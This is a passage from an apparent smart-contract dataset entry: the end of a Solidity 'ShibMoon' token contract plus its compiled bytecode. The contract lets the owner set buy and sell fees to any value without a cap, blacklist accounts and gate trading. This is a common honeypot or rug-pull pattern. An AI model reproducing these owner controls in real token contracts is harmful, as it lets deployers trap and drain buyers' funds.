_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
} | 0x6080604052600436106101c55760003560e01c806374010ece116100f757806398a5c31511610095578063c3c8cd8011610064578063c3c8cd801461063a578063dd62ed3e14610651578063ea1644d51461068e578063f2fde38b146106b7576101cc565b806398a5c3151461056e578063a2a957bb14610597578063a9059cbb146105c0578063bfd79284146105fd576101cc565b80638da5cb5b116100d15780638da5cb5b146104c45780638f70ccf7146104ef5780638f9a55c01461051857806395d89b4114610543576101cc565b806374010ece146104335780637d1db4a51461045c5780637f2feddc14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612ced565b6106e0565b005b34801561020657600080fd5b5061020f6108ca565b60405161021c9190612dbe565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e16565b610907565b6040516102599190612e71565b60405180910390f35b34801561026e57600080fd5b50610277610925565b6040516102849190612eeb565b60405180910390f35b34801561029957600080fd5b506102a261094b565b6040516102af9190612f15565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612f30565b61095c565b6040516102ec9190612e71565b60405180910390f35b34801561030157600080fd5b5061030a610a35565b6040516103179190612f15565b60405180910390f35b34801561032c57600080fd5b50610335610a3b565b6040516103429190612f9f565b60405180910390f35b34801561035757600080fd5b50610360610a44565b60405161036d9190612fc9565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612fe4565b610a6a565b005b3480156103ab57600080fd5b506103c660048036038101906103c1919061303d565b610b5a565b005b3480156103d457600080fd5b506103dd610c0c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612fe4565b610cdd565b6040516104139190612f15565b60405180910390f35b34801561042857600080fd5b50610431610d2e565b005b34801561043f57600080fd5b5061045a6004803603810190610455919061306a565b610e81565b005b34801561046857600080fd5b50610471610f20565b60405161047e9190612f15565b60405180910390f35b34801561049357600080fd5b506104ae60048036038101906104a99190612fe4565b610f26565b6040516104bb9190612f15565b60405180910390f35b3480156104d057600080fd5b506104d9610f3e565b6040516104e69190612fc9565b60405180910390f35b3480156104fb57600080fd5b506105166004803603810190610511919061303d565b610f67565b005b34801561052457600080fd5b5061052d611019565b60405161053a9190612f15565b60405180910390f35b34801561054f57600080fd5b5061055861101f565b6040516105659190612dbe565b60405180910390f35b34801561057a57600080fd5b506105956004803603810190610590919061306a565b61105c565b005b3480156105a357600080fd5b506105be60048036038101906105b99190613097565b611126565b005b3480156105cc57600080fd5b506105e760048036038101906105e29190612e16565b6111dd565b6040516105f49190612e71565b60405180910390f35b34801561060957600080fd5b50610624600480360381019061061f9190612fe4565b6111fb565b6040516106319190612e71565b60405180910390f35b34801561064657600080fd5b5061064f61121b565b005b34801561065d57600080fd5b50610678600480360381019061067391906130fe565b6112f4565b6040516106859190612f15565b60405180910390f35b34801561069a57600080fd5b506106b560048036038101906106b0919061306a565b61137b565b005b3480156106c357600080fd5b506106de60048036038101906106d99190612fe4565b61141a565b005b6106e86115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c9061318a565b60405180910390fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107b66115dc565b73ffffffffffffffffffffffffffffffffffffffff16148061082c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108146115dc565b73ffffffffffffffffffffffffffffffffffffffff16145b61083557600080fd5b60005b81518110156108c65760016010600084848151811061085a576108596131aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108be90613208565b915050610838565b5050565b60606040518060400160405280600881526020017f536869624d6f6f6e000000000000000000000000000000000000000000000000815250905090565b600061091b6109146115dc565b84846115e4565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600068056bc75e2d63100000905090565b60006109698484846117af565b610a2a846109756115dc565b610a2585604051806060016040528060288152602001613c4960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109db6115dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120349092919063ffffffff16565b6115e4565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a726115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af69061318a565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610b626115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be69061318a565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c4d6115dc565b73ffffffffffffffffffffffffffffffffffffffff161480610cc35750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cab6115dc565b73ffffffffffffffffffffffffffffffffffffffff16145b610ccc57600080fd5b6000479050610cda81612098565b50565b6000610d27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612104565b9050919050565b610d366115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dba9061318a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e896115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0d9061318a565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610f6f6115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff39061318a565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f534849424d000000000000000000000000000000000000000000000000000000815250905090565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661109d6115dc565b73ffffffffffffffffffffffffffffffffffffffff1614806111135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110fb6115dc565b73ffffffffffffffffffffffffffffffffffffffff16145b61111c57600080fd5b8060188190555050565b61112e6115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b29061318a565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006111f16111ea6115dc565b84846117af565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661125c6115dc565b73ffffffffffffffffffffffffffffffffffffffff1614806112d25750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112ba6115dc565b73ffffffffffffffffffffffffffffffffffffffff16145b6112db57600080fd5b60006112e630610cdd565b90506112f181612172565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113836115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611410576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114079061318a565b60405180910390fd5b8060178190555050565b6114226115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a69061318a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561151f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611516906132c3565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164b90613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bb906133e7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117a29190612f15565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561181f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181690613479565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561188f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118869061350b565b60405180910390fd5b600081116118d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c99061359d565b60405180910390fd5b6118da610f3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119485750611918610f3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d3357601560149054906101000a900460ff166119d757611969610f3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146119d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cd9061362f565b60405180910390fd5b5b601654811115611a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a139061369b565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ac05750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611aff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af69061372d565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611bac5760175481611b6184610cdd565b611b6b919061374d565b10611bab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba290613815565b60405180910390fd5b5b6000611bb730610cdd565b9050600060185482101590506016548210611bd25760165491505b808015611bea575060158054906101000a900460ff16155b8015611c445750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750601560169054906101000a900460ff165b8015611cb25750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d085750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d3057611d1682612172565b60004790506000811115611d2e57611d2d47612098565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611dda5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611e8d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611e8c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611e9b5760009050612022565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611f465750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611f5e57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120095750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561202157600a54600c81905550600b54600d819055505b5b61202e848484846123f8565b50505050565b600083831115829061207c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120739190612dbe565b60405180910390fd5b506000838561208b9190613835565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612100573d6000803e3d6000fd5b5050565b600060065482111561214b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612142906138db565b60405180910390fd5b6000612155612425565b905061216a818461245090919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121a9576121a8612b4c565b5b6040519080825280602002602001820160405280156121d75781602001602082028036833780820191505090505b50905030816000815181106121ef576121ee6131aa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561229157600080fd5b505afa1580156122a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122c99190613910565b816001815181106122dd576122dc6131aa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061234430601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115e4565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123a8959493929190613a36565b600060405180830381600087803b1580156123c257600080fd5b505af11580156123d6573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124065761240561249a565b5b6124118484846124dd565b8061241f5761241e6126a8565b5b50505050565b60008060006124326126bc565b91509150612449818361245090919063ffffffff16565b9250505090565b600061249283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061271e565b905092915050565b6000600c541480156124ae57506000600d54145b156124b8576124db565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806124ef87612781565b95509550955095509550955061254d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125e285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061262e81612891565b612638848361294e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126959190612f15565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008060006006549050600068056bc75e2d6310000090506126f268056bc75e2d6310000060065461245090919063ffffffff16565b8210156127115760065468056bc75e2d6310000093509350505061271a565b81819350935050505b9091565b60008083118290612765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161275c9190612dbe565b60405180910390fd5b50600083856127749190613abf565b9050809150509392505050565b600080600080600080600080600061279e8a600c54600d54612988565b92509250925060006127ae612425565b905060008060006127c18e878787612a1e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061282b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612034565b905092915050565b6000808284612842919061374d565b905083811015612887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287e90613b3c565b60405180910390fd5b8091505092915050565b600061289b612425565b905060006128b28284612aa790919063ffffffff16565b905061290681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612963826006546127e990919063ffffffff16565b60068190555061297e8160075461283390919063ffffffff16565b6007819055505050565b6000806000806129b460646129a6888a612aa790919063ffffffff16565b61245090919063ffffffff16565b905060006129de60646129d0888b612aa790919063ffffffff16565b61245090919063ffffffff16565b90506000612a07826129f9858c6127e990919063ffffffff16565b6127e990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a378589612aa790919063ffffffff16565b90506000612a4e8689612aa790919063ffffffff16565b90506000612a658789612aa790919063ffffffff16565b90506000612a8e82612a8085876127e990919063ffffffff16565b6127e990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612aba5760009050612b1c565b60008284612ac89190613b5c565b9050828482612ad79190613abf565b14612b17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0e90613c28565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612b8482612b3b565b810181811067ffffffffffffffff82111715612ba357612ba2612b4c565b5b80604052505050565b6000612bb6612b22565b9050612bc28282612b7b565b919050565b600067ffffffffffffffff821115612be257612be1612b4c565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c2382612bf8565b9050919050565b612c3381612c18565b8114612c3e57600080fd5b50565b600081359050612c5081612c2a565b92915050565b6000612c69612c6484612bc7565b612bac565b90508083825260208201905060208402830185811115612c8c57612c8b612bf3565b5b835b81811015612cb55780612ca18882612c41565b845260208401935050602081019050612c8e565b5050509392505050565b600082601f830112612cd457612cd3612b36565b5b8135612ce4848260208601612c56565b91505092915050565b600060208284031215612d0357612d02612b2c565b5b600082013567ffffffffffffffff811115612d2157612d20612b31565b5b612d2d84828501612cbf565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d70578082015181840152602081019050612d55565b83811115612d7f576000848401525b50505050565b6000612d9082612d36565b612d9a8185612d41565b9350612daa818560208601612d52565b612db381612b3b565b840191505092915050565b60006020820190508181036000830152612dd88184612d85565b905092915050565b6000819050919050565b612df381612de0565b8114612dfe57600080fd5b50565b600081359050612e1081612dea565b92915050565b60008060408385031215612e2d57612e2c612b2c565b5b6000612e3b85828601612c41565b9250506020612e4c85828601612e01565b9150509250929050565b60008115159050919050565b612e6b81612e56565b82525050565b6000602082019050612e866000830184612e62565b92915050565b6000819050919050565b6000612eb1612eac612ea784612bf8565b612e8c565b612bf8565b9050919050565b6000612ec382612e96565b9050919050565b6000612ed582612eb8565b9050919050565b612ee581612eca565b82525050565b6000602082019050612f006000830184612edc565b92915050565b612f0f81612de0565b82525050565b6000602082019050612f2a6000830184612f06565b92915050565b600080600060608486031215612f4957612f48612b2c565b5b6000612f5786828701612c41565b9350506020612f6886828701612c41565b9250506040612f7986828701612e01565b9150509250925092565b600060ff82169050919050565b612f9981612f83565b82525050565b6000602082019050612fb46000830184612f90565b92915050565b612fc381612c18565b82525050565b6000602082019050612fde6000830184612fba565b92915050565b600060208284031215612ffa57612ff9612b2c565b5b600061300884828501612c41565b91505092915050565b61301a81612e56565b811461302557600080fd5b50565b60008135905061303781613011565b92915050565b60006020828403121561305357613052612b2c565b5b600061306184828501613028565b91505092915050565b6000602082840312156130805761307f612b2c565b5b600061308e84828501612e01565b91505092915050565b600080600080608085870312156130b1576130b0612b2c565b5b60006130bf87828801612e01565b94505060206130d087828801612e01565b93505060406130e187828801612e01565b92505060606130f287828801612e01565b91505092959194509250565b6000806040838503121561311557613114612b2c565b5b600061312385828601612c41565b925050602061313485828601612c41565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613174602083612d41565b915061317f8261313e565b602082019050919050565b600060208201905081810360008301526131a381613167565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061321382612de0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613246576132456131d9565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006132ad602683612d41565b91506132b882613251565b604082019050919050565b600060208201905081810360008301526132dc816132a0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061333f602483612d41565b915061334a826132e3565b604082019050919050565b6000602082019050818103600083015261336e81613332565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006133d1602283612d41565b91506133dc82613375565b604082019050919050565b60006020820190508181036000830152613400816133c4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613463602583612d41565b915061346e82613407565b604082019050919050565b6000602082019050818103600083015261349281613456565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006134f5602383612d41565b915061350082613499565b604082019050919050565b60006020820190508181036000830152613524816134e8565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613587602983612d41565b91506135928261352b565b604082019050919050565b600060208201905081810360008301526135b68161357a565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613619603f83612d41565b9150613624826135bd565b604082019050919050565b600060208201905081810360008301526136488161360c565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613685601c83612d41565b91506136908261364f565b602082019050919050565b600060208201905081810360008301526136b481613678565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613717602383612d41565b9150613722826136bb565b604082019050919050565b600060208201905081810360008301526137468161370a565b9050919050565b600061375882612de0565b915061376383612de0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613798576137976131d9565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006137ff602383612d41565b915061380a826137a3565b604082019050919050565b6000602082019050818103600083015261382e816137f2565b9050919050565b600061384082612de0565b915061384b83612de0565b92508282101561385e5761385d6131d9565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006138c5602a83612d41565b91506138d082613869565b604082019050919050565b600060208201905081810360008301526138f4816138b8565b9050919050565b60008151905061390a81612c2a565b92915050565b60006020828403121561392657613925612b2c565b5b6000613934848285016138fb565b91505092915050565b6000819050919050565b600061396261395d6139588461393d565b612e8c565b612de0565b9050919050565b61397281613947565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6139ad81612c18565b82525050565b60006139bf83836139a4565b60208301905092915050565b6000602082019050919050565b60006139e382613978565b6139ed8185613983565b93506139f883613994565b8060005b83811015613a29578151613a1088826139b3565b9750613a1b836139cb565b9250506001810190506139fc565b5085935050505092915050565b600060a082019050613a4b6000830188612f06565b613a586020830187613969565b8181036040830152613a6a81866139d8565b9050613a796060830185612fba565b613a866080830184612f06565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613aca82612de0565b9150613ad583612de0565b925082613ae557613ae4613a90565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613b26601b83612d41565b9150613b3182613af0565b602082019050919050565b60006020820190508181036000830152613b5581613b19565b9050919050565b6000613b6782612de0565b9150613b7283612de0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613bab57613baa6131d9565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613c12602183612d41565b9150613c1d82613bb6565b604082019050919050565b60006020820190508181036000830152613c4181613c05565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732061